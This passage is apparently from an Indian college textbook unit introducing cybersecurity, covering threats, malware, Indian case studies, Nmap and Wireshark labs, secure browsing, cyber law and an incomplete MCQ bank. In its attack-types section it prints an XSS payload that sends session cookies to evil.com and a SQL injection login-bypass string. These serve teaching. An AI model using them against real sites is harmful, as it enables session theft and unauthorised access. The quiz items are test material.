Orientation to Computing — II
Unit 3: Introduction to Cyber Security & Secure Web Browsing
From understanding threats to defending networks — master cybersecurity fundamentals, tools like Nmap, and start earning by auditing security for Indian businesses.
⏱️ Time to Complete: 8–10 hours | 💰 Earning Potential: ₹5,000–₹15,000/month | 📝 30 MCQs (Bloom's Mapped)
💼 Jobs this unlocks: SOC Analyst (₹4–6 LPA) | Junior Penetration Tester (₹5–8 LPA) | Cybersecurity Intern (₹15K–25K/month)
Opening Hook — When India's Biggest Hospital Went Dark
🏥 The AIIMS Delhi Ransomware Attack — November 23, 2022
At 7:00 AM on November 23, 2022, doctors at AIIMS Delhi — India's most prestigious hospital — arrived to find their computers locked. Every screen displayed a single message: "Your files have been encrypted. Pay 200 crore in cryptocurrency to get the decryption key."
Over 40 million patient records — including data of VVIPs, ministers, and ordinary citizens — were held hostage. Five critical servers were encrypted. The hospital was forced to go completely manual: paper prescriptions, handwritten lab reports, manual OPD registrations. Surgeries were delayed. Emergency patients faced chaos. India's premier medical institution was brought to its knees — not by a disease, but by a cyberattack.
It took two full weeks for CERT-In, NIC, and Delhi Police Cyber Cell to restore systems from backups. The attackers were never publicly identified. The investigation revealed unpatched servers, weak network segmentation, and lack of endpoint protection — basic security failures that a trained professional could have prevented.
What if YOU had been on that security team? What if YOU had prevented this? That's exactly what this chapter prepares you for.
Learning Outcomes — Bloom's Taxonomy Mapped
| Bloom's Level | Learning Outcome |
|---|---|
| 🔵 Remember | Define the CIA triad (Confidentiality, Integrity, Availability) and list 7 types of malware with their characteristics |
| 🔵 Understand | Explain the difference between information security and cybersecurity, and describe how common attacks (phishing, DDoS, MITM) work using Indian examples |
| 🟢 Apply | Use Nmap to perform a basic network scan on localhost, interpret open ports, and identify running services |
| 🟢 Analyze | Identify red flags in phishing emails and classify attack types from real Indian case studies (AIIMS, Cosmos Bank) |
| 🟠 Evaluate | Assess the security posture of a home network and evaluate UPI's security architecture against CIA principles |
| 🟠 Create | Design a complete 'Home Network Security Audit Report' following industry-standard methodology |
Concept Explanation — Cybersecurity from Scratch
1. The CIA Triad — Foundation of All Cybersecurity
Every cybersecurity decision in the world — from protecting your Instagram account to securing India's nuclear facilities — is based on three fundamental principles. Together, they form the CIA Triad. No, not the American spy agency — this CIA stands for Confidentiality, Integrity, and Availability.
Analogy — The SBI Bank Locker: Imagine you rent a locker at State Bank of India. Confidentiality = only YOU have the key; no one else can open it. Integrity = nobody tampers with your documents inside; they remain exactly as you left them. Availability = the bank is open whenever you need to access your locker; it doesn't shut down randomly.
🔐 The CIA Triad — Three Pillars of Security
Ensuring that sensitive information is accessible only to those who have permission. When UIDAI encrypts Aadhaar biometric data, they're enforcing confidentiality — only authorised government systems can decrypt and access your fingerprints.
Techniques: Encryption (AES-256), Access Control Lists (ACL), Two-Factor Authentication (2FA), Role-Based Access Control (RBAC)
Indian Example: Your SBI net banking password ensures only you can view your account balance. If someone else sees it, confidentiality is breached.
🛡️ Integrity — "Data hasn't been TAMPERED with"Ensuring that data remains accurate, complete, and unaltered by unauthorised parties. When you receive an Aadhaar-verified document, you trust that nobody has modified it between UIDAI's server and your screen.
Techniques: Hashing (SHA-256), Digital Signatures, Checksums, Version Control
Indian Example: EVM (Electronic Voting Machine) data integrity — the votes recorded must be exactly what was cast. Any modification would compromise the entire election.
✅ Availability — "Systems are ACCESSIBLE when needed"Ensuring that information and systems are available to authorised users when they need them. UPI must process payments 24/7 for 300+ million users. If PhonePe goes down during Diwali shopping, that's an availability failure.
Techniques: Redundancy, Load Balancing, Regular Backups, DDoS Protection, Disaster Recovery Plans
Indian Example: IRCTC must handle 25 million ticket requests on Tatkal days. Server crashes = availability failure = angry passengers.
Now YOU try it → Think about your college's student portal. How does it implement Confidentiality (login credentials), Integrity (exam marks can't be changed by students), and Availability (accessible during result declaration)? Write one example for each.
2. Information Security vs Cybersecurity
Students often use these terms interchangeably, but they have a critical difference. Think of it this way: Information Security is the ocean; Cybersecurity is a very large lake within that ocean.
| Aspect | Information Security | Cybersecurity |
|---|---|---|
| Scope | ALL information — digital, physical, verbal | Only digital/cyber threats |
| Protects | Data in any form (paper files, conversations, digital) | Networks, systems, devices, software |
| Example | Locking a file cabinet with HR records; shredding sensitive documents | Firewall protecting a company server from hackers |
| Physical? | ✅ Yes — includes physical document security | ❌ No — only digital/electronic |
| Indian Context | RTI Act data handling; bank vault security | CERT-In incident response; network monitoring |
| Standards | ISO 27001, COBIT | NIST CSF, OWASP, CIS Controls |
3. Threat Landscape — Types of Cyber Threats
Before you can defend against threats, you need to understand who's attacking and why. The threat landscape is vast and varied — from bored teenagers to nation-state hackers backed by foreign governments.
| Threat Type | Description | Motivation | Indian Example |
|---|---|---|---|
| Insider Threat | Employee or contractor with authorised access who misuses it | Financial gain, revenge, negligence | Wipro employee data leak (2019) — insider sold customer data |
| External Threat | Hackers, cybercriminals from outside the organisation | Financial gain, data theft | AIIMS ransomware attack (2022) |
| State-Sponsored | Government-backed cyber operations targeting another nation | Espionage, sabotage, intelligence | Pakistan-linked APT groups targeting Indian defence and government websites |
| Hacktivism | Ideologically motivated hacking to promote a cause | Political/social agenda | #OpIndia campaigns by Anonymous targeting government portals |
| Script Kiddies | Amateur hackers using pre-made tools without deep knowledge | Thrill, bragging rights | Defacing college and school websites using freely available tools |
| Advanced Persistent Threats (APTs) | Long-term, targeted attacks by highly skilled groups | Strategic intelligence gathering | SideWinder APT group targeting Indian military and diplomatic entities |
4. Malware — The Digital Arsenal
Malware (malicious software) is any software intentionally designed to cause damage, steal data, or gain unauthorised access. Think of it as the weapons in a cybercriminal's toolkit. Understanding each type is essential for identifying and defending against them.
Virus — The Attached Parasite
A virus attaches itself to a legitimate file or program and activates when the user opens it. It cannot spread on its own — it needs human action. Analogy: Like the common cold — you get it by touching an infected surface (opening an infected file). You then spread it by sharing that file.
Worm — The Self-Replicating Spreader
Unlike viruses, worms spread automatically across networks without any user action. They exploit vulnerabilities in operating systems and software. Analogy: Like COVID-19 — spreads on its own through a network (population) without needing anyone to actively pass it.
Trojan Horse — The Disguised Intruder
Disguised as legitimate software, a Trojan tricks users into installing it. Once inside, it opens a backdoor for attackers. Analogy: Like a fake Paytm app on a third-party app store — looks exactly like the real one but steals your UPI PIN when you enter it.
Ransomware — The Digital Kidnapper
Encrypts all your files and demands payment (usually in cryptocurrency) to unlock them. Example: WannaCry (2017) affected 200,000+ computers across 150 countries. AIIMS Delhi (2022) — ₹200 crore demanded. Analogy: Like a kidnapper locking your house and demanding ransom for the key. Even if you pay, there's no guarantee you'll get the key.
Spyware — The Silent Watcher
Secretly monitors user activity — keystrokes, browsing history, webcam, microphone. Example: Pegasus spyware by NSO Group was used to monitor Indian journalists, politicians, and activists (2021 investigation by The Wire). Analogy: Like hidden CCTV in your room recording everything without your knowledge.
Adware — The Annoying Advertiser
Displays unwanted advertisements, often bundled with free software. While less dangerous, it slows systems and can be a gateway for worse malware. Example: ~30% of apps on third-party Android stores in India contain adware.
Rootkit — The Deep Infiltrator
Hides deep within the operating system, modifying core functions to avoid detection. Extremely difficult to find and remove. Analogy: Like a spy with a fake government ID — operating within the system while being virtually invisible to security checks.
Keylogger — The Keystroke Thief
Records every keystroke you type — passwords, credit card numbers, messages. Can be software-based or a physical hardware device plugged into a keyboard. Example: Commonly installed on shared cybercafe computers in India to steal banking passwords.
| Malware Type | Spreads By | Needs User Action? | Primary Damage | Indian Example |
|---|---|---|---|---|
| Virus | Infected files | ✅ Yes | File corruption | Love Bug virus spread via email in Indian IT offices |
| Worm | Network automatically | ❌ No | Network slowdown, system crash | Conficker worm in government networks |
| Trojan | Disguised downloads | ✅ Yes | Data theft, backdoor access | Fake UPI/banking apps on third-party stores |
| Ransomware | Phishing emails, exploits | ✅ Usually | File encryption, ransom demand | AIIMS Delhi 2022 — ₹200 crore demanded |
| Spyware | Bundled software, exploits | ❌ Often no | Privacy violation, surveillance | Pegasus targeting Indian journalists (2021) |
| Adware | Free software bundles | ❌ Often no | Unwanted ads, system slowdown | Third-party APK stores on Android |
| Rootkit | Exploits, infected software | ❌ No | Complete system takeover | Stuxnet (targeted Iran but studied in Indian DRDO) |
| Keylogger | Physical device or software | Varies | Credential theft | Cybercafe attacks stealing bank passwords |
5. Attack Types & Techniques
Malware is the weapon. Attack techniques are HOW cybercriminals use those weapons. Understanding attack types is crucial because most attacks use similar patterns — and recognising the pattern is the first step to stopping it.
Phishing — The Fake Bait
Sending fraudulent emails/messages that mimic legitimate organisations to trick users into revealing sensitive information. Example: A fake SBI email saying "Your account will be blocked. Click here to verify: http://sbi-secure-verify.com.ng" — notice the Nigerian domain (.ng)!
India reported 3.18 lakh phishing attacks in 2022 (CERT-In). Phishing is the #1 attack vector in India, responsible for over 60% of initial compromises.
Spear Phishing — The Targeted Strike
Unlike mass phishing, spear phishing targets specific individuals with personalised content. The attacker researches their target on LinkedIn, social media, and company websites. Example: An email to a CFO from what appears to be the CEO's email address: "Transfer ₹15 lakhs to this account urgently for a vendor payment. Keep it confidential."
DDoS (Distributed Denial of Service) — The Traffic Flood
Overwhelming a server or website with massive amounts of fake traffic, making it unavailable to legitimate users. Analogy: Imagine 10,000 people simultaneously trying to enter a shop with capacity for 50 — nobody gets through. Example: Indian government websites were hit with DDoS attacks during India-Pakistan tensions in 2019.
Man-in-the-Middle (MITM) — The Eavesdropper
An attacker secretly intercepts communication between two parties who believe they're communicating directly. Analogy: Someone secretly reading your letters, possibly modifying them, before delivering them to the recipient. Example: Using public WiFi at a café — an attacker on the same network intercepts your banking session.
SQL Injection — The Database Hack
Inserting malicious SQL code into web application input fields to manipulate the database. Example: Entering ' OR 1=1 -- in a login form to bypass authentication. This tricks the database into returning all records, potentially granting unauthorised access.
SQL Injection Example -- Normal login query: SELECT * FROM users WHERE username='admin' AND password='secret123'; -- Injected query (attacker enters: ' OR 1=1 -- in username field): SELECT * FROM users WHERE username='' OR 1=1 --' AND password='anything'; -- The OR 1=1 always evaluates to TRUE, bypassing authentication!
Cross-Site Scripting (XSS) — The Script Injector
Injecting malicious JavaScript into web pages viewed by other users. Example: An attacker posts <script>document.location='http://evil.com/steal?cookie='+document.cookie</script> in a comment box. When other users view the comment, their session cookies are stolen.
Social Engineering — The Human Hack
Manipulating people psychologically into revealing confidential information. This doesn't exploit software — it exploits human trust. Example: "Hello sir, I'm calling from SBI. Your account has been flagged for suspicious activity. Please share your OTP to verify your identity." This is the #1 attack method in India.
6. Major Indian Cyber Attacks — Case Analysis
🏥 AIIMS Delhi Ransomware Attack — November 2022
On November 23, 2022, hackers encrypted 5 servers at AIIMS Delhi containing approximately 40 million patient records, including data of VVIPs. A ransom of ₹200 crore in cryptocurrency was demanded.
Impact:Hospital operations went fully manual for 2 weeks. OPD registrations, lab reports, and billing were done on paper. Surgeries were delayed. Smart lab systems, billing, diet, and patient care went offline.
Root Cause (Suspected):Unpatched servers, weak network segmentation (flat network with no isolation), lack of endpoint detection and response (EDR), insufficient backup procedures for critical systems.
Response:CERT-In, NIC (National Informatics Centre), Delhi Police Cyber Cell, and DRDO's cyber wing collaborated. Systems were restored from backups. e-Hospital application was rebuilt with enhanced security.
🏦 Cosmos Cooperative Bank Hack — August 2018
Hackers installed malware on the ATM switch server of Cosmos Cooperative Bank, Pune. They created proxy switch that approved fraudulent ATM transactions.
The Attack:Cloned debit cards were used to withdraw ₹94.42 crore from ATMs across 28 countries in just 2 days. An additional ₹13.92 crore was siphoned through unauthorised SWIFT transfers to a Hong Kong-based company.
Attribution:The North Korean state-sponsored Lazarus Group was suspected to be behind the attack — the same group behind the 2014 Sony Pictures hack and 2017 WannaCry ransomware.
☢️ Kudankulam Nuclear Power Plant — October 2019
North Korean DTrack malware was discovered on the administrative network of the Kudankulam Nuclear Power Plant in Tamil Nadu. The malware was designed for data exfiltration — collecting and sending system information to external servers.
Response:NPCIL (Nuclear Power Corporation of India Limited) initially denied the breach, but later confirmed that malware was found on the administrative network (not the critical operational network, which is air-gapped). CERT-In and the National Cyber Coordination Centre investigated.
Key Lesson:Even air-gapped critical infrastructure can be compromised through administrative networks. Defence-in-depth and strict network segmentation are non-negotiable for national security assets.
7. Industry Use Cases — Where Cybersecurity Matters Most
| Industry | Security Focus | Key Standards | Indian Example |
|---|---|---|---|
| Healthcare | Patient data protection (PHI), medical device security | HIPAA (global), DPDP Act (India) | AIIMS, Apollo Hospitals, Fortis |
| Manufacturing | SCADA/ICS security, operational technology | IEC 62443, NIST SP 800-82 | Tata Steel, L&T, Bharat Forge |
| E-commerce | Payment security, customer data protection | PCI-DSS, DPDP Act | Flipkart, Amazon India, Meesho |
| Banking & Finance | Transaction security, fraud prevention | RBI Cyber Security Framework, ISO 27001 | SBI, HDFC, Paytm, NPCI (UPI) |
| Government | National security, citizen data | NCIIPC Guidelines, MeitY policies | NIC, UIDAI (Aadhaar), DigiLocker |
| Telecom | Network security, subscriber privacy | TRAI regulations, DoT guidelines | Jio, Airtel, Vi (Vodafone Idea) |
8. Cybersecurity Tools — Your Digital Arsenal
🔍 Nmap (Network Mapper) — The Swiss Army Knife
What it does: Discovers devices on a network, identifies open ports, detects running services, and even guesses the operating system. It's free, open-source, and used by both security professionals and ethical hackers worldwide.
Analogy: Like knocking on every door in an apartment building to see which ones are open, who lives there, and what they're doing. Except the "apartment building" is a computer network.
Nmap Commands # Basic scan — find open ports on your own machine nmap localhost # Service version detection — what software is running? nmap -sV localhost # OS detection — what operating system is the target running? nmap -O 192.168.1.1 # Ping scan — discover all devices on your home network nmap -sn 192.168.1.0/24 # Save results to a file nmap -oN my_scan.txt localhost
🦈 Wireshark — The Network Microscope
What it does: Captures and analyses every single packet of data flowing through your network in real-time. It's like putting your network traffic under a microscope — you can see every HTTP request, every DNS query, every packet.
Analogy: Like CCTV for your network — records every packet that enters or leaves, letting you replay and analyse any communication.
Basic Wireshark filters:
Wireshark Filters # Show only HTTP traffic http # Show traffic on port 80 tcp.port == 80 # Show traffic from/to a specific IP ip.addr == 192.168.1.1 # Show only DNS queries dns # Show only POST requests (often contain login data) http.request.method == "POST"
🕵️ Maltego — The OSINT Detective
What it does: Gathers Open Source Intelligence (OSINT) — maps relationships between people, domains, IP addresses, email addresses, and social media accounts. Used for reconnaissance in penetration testing and investigation.
Analogy: Like a detective's investigation board with red strings connecting suspects, addresses, phone numbers, and clues — but automated and digital.
🔧 Burp Suite — The Web App Tester
What it does: Intercepts HTTP/HTTPS traffic between your browser and web applications. Lets you modify requests, find vulnerabilities (XSS, SQL injection, CSRF), and test authentication mechanisms.
Community Edition is free and sufficient for learning. Used by security testers at companies like Flipkart, Razorpay, and Paytm to test their applications before deployment.
9. AI-Based Threat Intelligence
The volume of cyberattacks is too large for humans to monitor alone. A single large organisation may generate 10,000+ security events per day. This is where AI and Machine Learning step in:
ML-Based Anomaly Detection
Train machine learning models on "normal" network traffic patterns. When the model sees something unusual — a server suddenly sending gigabytes of data to an unknown IP at 3 AM — it flags it as an anomaly. Analogy: Like a bank's fraud detection that alerts you when someone uses your credit card in another country.
Behavioral Analysis
Instead of looking for known attack signatures, behavioral analysis monitors user behavior. If an employee who normally logs in from Mumbai at 9 AM suddenly logs in from Russia at 3 AM and downloads 500 files — the system flags it. Indian use: HDFC Bank uses behavioral AI to detect fraudulent UPI transactions in real-time.
Automated Threat Response
AI systems that can automatically isolate infected machines, block suspicious IPs, and quarantine malware — without waiting for a human analyst. Response time drops from hours to milliseconds.
10. Secure Web Browsing
HTTP vs HTTPS — The Critical Difference
| Feature | HTTP | HTTPS |
|---|---|---|
| Full Form | HyperText Transfer Protocol | HyperText Transfer Protocol Secure |
| Encryption | ❌ None — data sent in plaintext | ✅ SSL/TLS encryption |
| Port | 80 | 443 |
| URL Indicator | http:// | https:// (with 🔒 padlock icon) |
| Security | Anyone on the network can read your data | Data encrypted — unreadable even if intercepted |
| Use Case | Public, non-sensitive content (rare today) | Banking, login pages, e-commerce, email — everything sensitive |
SSL/TLS Simplified: When you visit https://www.sbi.co.in, your browser and SBI's server perform a "handshake" — they agree on an encryption key. All data exchanged after this handshake is encrypted. Even if a hacker intercepts the traffic (e.g., on public WiFi), they'll see only gibberish. Analogy: Like two spies agreeing on a secret code before sending messages. Anyone who intercepts the messages can't read them without the code.
Browser Security Settings Checklist
- ✅ Enable HTTPS-Only Mode — Chrome/Firefox will warn you before loading HTTP sites
- ✅ Block third-party cookies — prevents cross-site tracking by advertisers
- ✅ Disable auto-fill for passwords on shared/public computers
- ✅ Keep browser updated — updates patch security vulnerabilities
- ✅ Use browser extensions: uBlock Origin (ad/tracker blocker), HTTPS Everywhere (forces HTTPS)
- ❌ Never save passwords in the browser on shared computers — use a password manager instead
VPN — Your Encrypted Tunnel
A VPN (Virtual Private Network) creates an encrypted tunnel between your device and a VPN server. All your internet traffic passes through this tunnel, making it invisible to your ISP, public WiFi hackers, and surveillance. When to use: Always on public WiFi (airports, cafes, hotels). When accessing sensitive data remotely.
Incognito Mode — Myths vs Reality
| Myth ❌ | Reality ✅ |
|---|---|
| "I'm completely anonymous in Incognito" | Your ISP, employer, and websites can STILL see your activity. Only local browser history is hidden. |
| "No data is stored at all" | Downloads and bookmarks ARE saved. DNS cache may also retain queries. |
| "I'm safe from hackers" | Zero protection against malware, phishing, or network attacks. |
| "It's like a VPN" | Absolutely not. Incognito only prevents LOCAL history storage. A VPN encrypts your entire connection. |
| "Websites can't track me" | Websites can still track you via IP address, browser fingerprinting, and logged-in accounts. |
11. Social Media Security
Privacy Settings — What to Configure
- Instagram: Set account to Private, disable Activity Status, review Tagged Posts before they appear
- Facebook: Set posts to "Friends Only," disable profile search by phone number, review app permissions
- LinkedIn: Control who sees your connections, disable "People Also Viewed," review data sharing settings
- WhatsApp: Enable 2-Step Verification, set Profile Photo/Last Seen to "My Contacts," disable auto-download of media
Two-Factor Authentication (2FA) — Your Second Lock
2FA requires two different types of verification to log in: something you know (password) + something you have (phone/authenticator app). Even if a hacker steals your password, they can't log in without the second factor.
Best practice: Use authenticator apps (Google Authenticator, Microsoft Authenticator) instead of SMS-based OTP. SIM-swapping attacks can intercept SMS OTPs, but authenticator app codes are generated locally on your device.
Safe Posting Practices
- ❌ Never share boarding passes (contains PNR, personal details)
- ❌ Never post real-time location while travelling
- ❌ Never share PAN card, Aadhaar, or driving license photos
- ❌ Never post screenshots with visible email/phone numbers
- ✅ Wait until AFTER returning to post travel photos
- ✅ Remove EXIF metadata from photos before posting (contains GPS coordinates)
12. Indian Cybersecurity Framework
CERT-In (Indian Computer Emergency Response Team)
India's national agency for cybersecurity incident response, established under the IT Act 2000. CERT-In operates under MeitY (Ministry of Electronics and Information Technology).
- Issues vulnerability advisories and security alerts
- Coordinates incident response across government and private sector
- 2022 Directive: Mandatory reporting of cybersecurity incidents within 6 hours — one of the strictest timelines globally
- Maintains the Cyber Swachhta Kendra (Botnet Cleaning and Malware Analysis Centre)
IT Act 2000 (amended 2008) — Key Sections
| Section | Offence | Penalty |
|---|---|---|
| Section 43 | Unauthorised access to computer systems, data theft | Compensation up to ₹1 crore |
| Section 66 | Computer-related offences (hacking with criminal intent) | Up to 3 years imprisonment + fine |
| Section 66A | Sending offensive messages (STRUCK DOWN by Supreme Court in Shreya Singhal v. Union of India, 2015) | Was: 3 years imprisonment |
| Section 66C | Identity theft using electronic signature/password | Up to 3 years + ₹1 lakh fine |
| Section 66D | Cheating by personation using computer resources | Up to 3 years + ₹1 lakh fine |
| Section 72 | Breach of confidentiality and privacy | Up to 2 years + ₹1 lakh fine |
DPDP Act 2023 (Digital Personal Data Protection Act)
India's equivalent of the EU's GDPR, passed in August 2023. Key provisions:
- Consent-based processing: Companies must obtain explicit consent before collecting personal data
- Data fiduciary obligations: Companies handling data must ensure its security and accuracy
- Right to erasure: Citizens can request deletion of their personal data
- Data Protection Board: New regulatory body to adjudicate data protection disputes
- Penalties: Up to ₹250 crore for significant data breaches and non-compliance
- Children's data: Special protections for data of individuals under 18
Bug Bounty Programs — Get Paid to Hack (Legally)
Companies pay ethical hackers ("white hats") to find and report vulnerabilities before criminals exploit them. This is a legitimate, well-paid career path.
- HackerOne: India is the #2 country by number of ethical hackers (after the US). Indian hackers earned $2.5 million on HackerOne in 2022 alone.
- Bugcrowd: Another major platform with programs from companies like Mastercard, Tesla, and Atlassian.
- Indian companies with bug bounty programs: Paytm, Zomato, Flipkart, Ola, MakeMyTrip, CRED
- Earning range: ₹5,000 for low-severity bugs to ₹50 lakh+ for critical vulnerabilities in major platforms
Learn by Doing — 3-Tier Lab Structure
🟢 Tier 1 — GUIDED TASK: Run a Basic Nmap Scan on Localhost
Step 1: Install Nmap
Go to nmap.org/download → Download the Windows installer (or use sudo apt install nmap on Linux/WSL). Run the installer with default options. Nmap includes Zenmap (GUI version), but we'll use the command line.
Step 2: Open Command Prompt as Administrator
Press Win + S → Type "cmd" → Right-click → "Run as administrator". This is required because Nmap needs elevated privileges for certain scan types.
Step 3: Verify Nmap Installation
CMD
nmap --version
Step 4: Basic Port Scan on Localhost
CMD
nmap localhost
This scans the 1,000 most common TCP ports on your own machine. The output will show:
Reading the output:
PORT— the port number and protocol (tcp/udp)STATE— open (accepting connections), closed (not accepting), filtered (firewall blocking)SERVICE— the service typically associated with that port
Step 5: Service Version Detection
CMD
nmap -sV localhost
The -sV flag probes open ports to determine the exact software version running. This is critical for vulnerability assessment — if you find Apache 2.4.49, you know it's vulnerable to CVE-2021-41773 (path traversal).
Step 6: Discover Devices on Your Home Network
CMD
nmap -sn 192.168.1.0/24
The -sn flag performs a "ping scan" — it finds all active devices on your subnet without scanning ports. You'll see your router, phones, laptops, smart TV, and any IoT devices.
Step 7: Save Your Results
CMD
nmap -sV localhost -oN my_nmap_scan_results.txt
The -oN flag saves normal output to a file. This is your first portfolio artefact!
🎉 Congratulations! You've just performed your first network security scan. You now know how to discover devices on a network, find open ports, and identify running services — the foundation of every security assessment.
🟡 Tier 2 — SEMI-GUIDED TASK: Phishing Email Identification Challenge
Your Mission:
Below are 5 sample emails. Some are phishing attempts, some are legitimate. For each email, identify ALL red flags (or confirm it's legitimate). Write your analysis for each one.
📧 Email 1
From: security@sbi-secure-verify.com.ng
Subject: URGENT: Your SBI Account Has Been Temporarily Suspended
Body: "Dear Valued Customer, We have detected suspicious activity on your SBI account. Your account has been temporarily suspended for security reasons. Please click the link below to verify your identity and restore access immediately. Failure to verify within 24 hours will result in permanent account closure. Click Here: http://sbi-secure-verify.com.ng/login"
Hint: Check the sender domain, URL, urgency language, and greeting style.
📧 Email 2
From: prizes@jiodraw-winner.tk
Subject: 🎉 Congratulations! You've Won ₹50 Lakh in the Jio Lucky Draw!
Body: "Dear Lucky Winner, Your mobile number has been selected in the Jio Annual Lucky Draw 2024! You have won a cash prize of ₹50,00,000 (Fifty Lakhs). To claim your prize, please send a processing fee of ₹500 via Google Pay to 9876543210. Attach your Aadhaar copy for verification."
Hint: Think about the domain (.tk = Tokelau, a free domain), the request for money and Aadhaar, and whether Jio runs such draws.
📧 Email 3
From: placements@youruniversity.edu.in
Subject: Campus Placement Drive — TCS, Infosys, Wipro | Register by Dec 15
Body: "Dear Students, The Placement Cell is conducting a campus recruitment drive with TCS, Infosys, and Wipro on December 20, 2024. Eligible: B.Tech/BCA final year students with 60%+ aggregate. Register on the placement portal (portal.youruniversity.edu.in) by December 15. Carry your resume and ID card. — Prof. Sharma, Placement Coordinator"
Hint: Check the domain (.edu.in is legitimate), the sender, the tone, and whether any sensitive information is requested.
📧 Email 4
From: amazon-support@gmail.com
Subject: Your Amazon Order #AZ-9823471 Has Been Shipped!
Body: "Hi Customer, Your order #AZ-9823471 has been shipped and will arrive in 2-3 business days. Track your package here: bit.ly/3xK2m9Z. If you did not place this order, click here to cancel immediately and secure your account."
Hint: Amazon's official emails come from @amazon.in or @amazon.com, never from @gmail.com. Shortened URLs (bit.ly) hide the real destination.
📧 Email 5
From: no-reply@accounts.google.com.verify-login.tk
Subject: ⚠️ URGENT: Your Google Account Will Be Deleted in 24 Hours
Body: "We have detected that your Google account has violated our Terms of Service. Your account will be permanently deleted within 24 hours unless you confirm your identity. Please enter your current password at the link below to verify: https://google-verify.tk/confirm-account"
Hint: The actual domain is verify-login.tk, not google.com. Google never asks for passwords via email. The .tk domain is a free domain often used for phishing.
🔴 Tier 3 — OPEN CHALLENGE: Write "My Home Network Security Audit Report"
The Brief:
Conduct a security audit of your own home network. Produce a professional report that follows the format used by real cybersecurity consultants. This report will be your portfolio piece.
Report Sections:
- Executive Summary: One-paragraph overview of findings (write this last)
- Network Topology: Draw your home network — router, connected devices, WiFi vs Ethernet. Use any diagramming tool (even hand-drawn is fine).
- Device Inventory: List ALL connected devices — phones, laptops, smart TV, Alexa, CCTV cameras, smart bulbs. Include manufacturer and model if possible.
- Nmap Scan Results: Attach actual Nmap output from scanning your home network and localhost.
- Vulnerability Assessment:
- Is the router using default password (admin/admin)?
- Is WPA3 or at least WPA2 encryption enabled?
- Are there any open ports that shouldn't be open?
- Is router firmware updated?
- Are any IoT devices using default credentials?
- Risk Rating: For each finding, assign High / Medium / Low severity with justification.
- Recommendations: Specific, actionable fixes for each vulnerability found.
- Security Scorecard: Rate your home network out of 10. Justify your score.
Deliverable: A 4–6 page Google Doc or PDF report. Include screenshots of your Nmap scans. This is your first professional cybersecurity deliverable.
Industry Spotlight — A Day in the Life
👩💻 Sneha Kulkarni, 27 — Security Analyst at Infosys, Pune
Background: B.Tech in Computer Science from Savitribai Phule Pune University. No cybersecurity experience before college. Self-taught Nmap and Wireshark during final year. Completed CompTIA Security+ during 6-month internship at a local IT firm. Got placed at Infosys through their Global Security Practice hiring drive.
A Typical Day:
9:00 AM — Check the SIEM dashboard (Splunk) for overnight security alerts. Review top 20 events flagged as suspicious. Prioritise based on severity — Critical, High, Medium, Low.
10:30 AM — Investigate a suspicious login attempt on a client's VPN from an unusual IP address (located in Eastern Europe). Run Nmap scan on the source IP. Cross-reference with threat intelligence feeds. Confirm it's a brute-force attempt — block the IP and update firewall rules.
11:30 AM — Run weekly vulnerability scan using Nessus on the client's external-facing servers. Generate report highlighting 3 critical CVEs that need immediate patching. Escalate to the infrastructure team with a 48-hour SLA.
1:00 PM — Lunch at the Infosys cafeteria. Discuss the latest Apache Struts CVE with teammates. Debate whether the client's application is affected.
2:00 PM — Test a client's new web application for OWASP Top 10 vulnerabilities using Burp Suite and OWASP ZAP. Find an XSS vulnerability in the search function and a weak session management implementation. Document findings with proof-of-concept screenshots.
4:00 PM — Write a detailed incident report for a phishing attempt that targeted 50 employees of a banking client. Include email headers, sender analysis, and recommendations for improving email security controls.
5:30 PM — Personal development hour (company-sponsored). Study for OSCP (Offensive Security Certified Professional) certification. Practice penetration testing on TryHackMe's "Active Directory" lab.
| Detail | Info |
|---|---|
| Tools Used Daily | Nmap, Wireshark, Splunk (SIEM), OWASP ZAP, Burp Suite, Kali Linux, Nessus, CrowdStrike Falcon |
| Entry Salary (2024) | ₹4–7 LPA + benefits |
| Mid-Level (3–5 yrs) | ₹10–18 LPA |
| Senior (7+ yrs) | ₹20–40 LPA |
| Companies Hiring | Infosys, TCS, Wipro, HCL, Paytm, Flipkart, Razorpay, CrowdStrike India, Palo Alto Networks, Quick Heal, Lucideus (now SAFE Security) |
Earn With It — Freelance & Income Roadmap
💰 Your Earning Path After This Chapter
Portfolio Piece: "My Home Network Security Audit Report" — a polished, professional-format audit report with Nmap scans, vulnerability findings, risk ratings, and remediation recommendations.
Beginner Gig Ideas:
• WiFi security audit for local businesses (check default passwords, encryption, firmware) — ₹3,000–₹10,000
• Password policy setup and employee security awareness training — ₹2,000–₹5,000
• Basic vulnerability assessment report for small business websites — ₹5,000–₹15,000
• Security awareness training session for small offices (20–50 people) — ₹3,000–₹8,000
• Social media security setup (2FA, privacy settings) for individuals/small businesses — ₹1,000–₹3,000
| Platform | Best For | Typical Rate |
|---|---|---|
| Upwork | Global security audit gigs, vulnerability assessments | $20–$60/hour |
| Freelancer | Penetration testing projects, security consulting | $200–$1,000/project |
| Direct outreach to Indian SMEs and startups | ₹5,000–₹15,000/project | |
| HackerOne | Bug bounty hunting — find vulnerabilities, get paid | $50–$5,000/bug |
| Bugcrowd | Bug bounty programs from global companies | $100–$10,000/bug |
⏱️ Time to First Earning: 3–4 weeks (if you complete all three lab tiers and start reaching out to local businesses)
MCQ Assessment Bank — 30 Questions (Bloom's Mapped)
Remember / Identify (Q1–Q5)
CIA in cybersecurity stands for:
- Computer Intelligence Agency
- Confidentiality, Integrity, Availability
- Cyber Investigation Authority
- Central Internet Access
Which type of malware encrypts files and demands payment to unlock them?
- Spyware
- Adware
- Ransomware
- Worm
CERT-In stands for:
- Central Emergency Response Team — India
- Indian Computer Emergency Response Team
- Cyber Emergency Resource Team
- Computer Error Resolution Team — India
Which Nmap command performs a basic scan of localhost?
- nmap --scan localhost
- nmap localhost
- scan -nmap 127.0.0.1
- nmap -full localhost
The Digital Personal Data Protection (DPDP) Act was passed in India in:
- 2020
- 2021
- 2023
- 2019
Understand / Explain (Q6–Q10)
Why is the AIIMS Delhi ransomware attack considered a violation of all three CIA principles?
- Because the attack was expensive to investigate
- Because patient data was exposed (Confidentiality), could have been modified (Integrity), and systems were unavailable for 2 weeks (Availability)
- Because it happened in a hospital, which is always a CIA violation
- Because CERT-In categorised it that way by default
What is the key difference between a virus and a worm?
- Viruses are always more dangerous than worms
- Worms need user action to spread, viruses do not
- Viruses need user action to spread (opening infected file), worms spread automatically across networks
- There is no functional difference between them
Why is social engineering considered the most effective attack method in India?
- Because Indian networks have weaker firewalls than other countries
- Because people tend to trust phone calls and are prone to sharing OTPs and passwords when asked by someone impersonating authority
- Because India has no cybersecurity laws to prevent it
- Because all Indian software systems are outdated and vulnerable
What does HTTPS provide that HTTP does not?
- Faster page loading speed
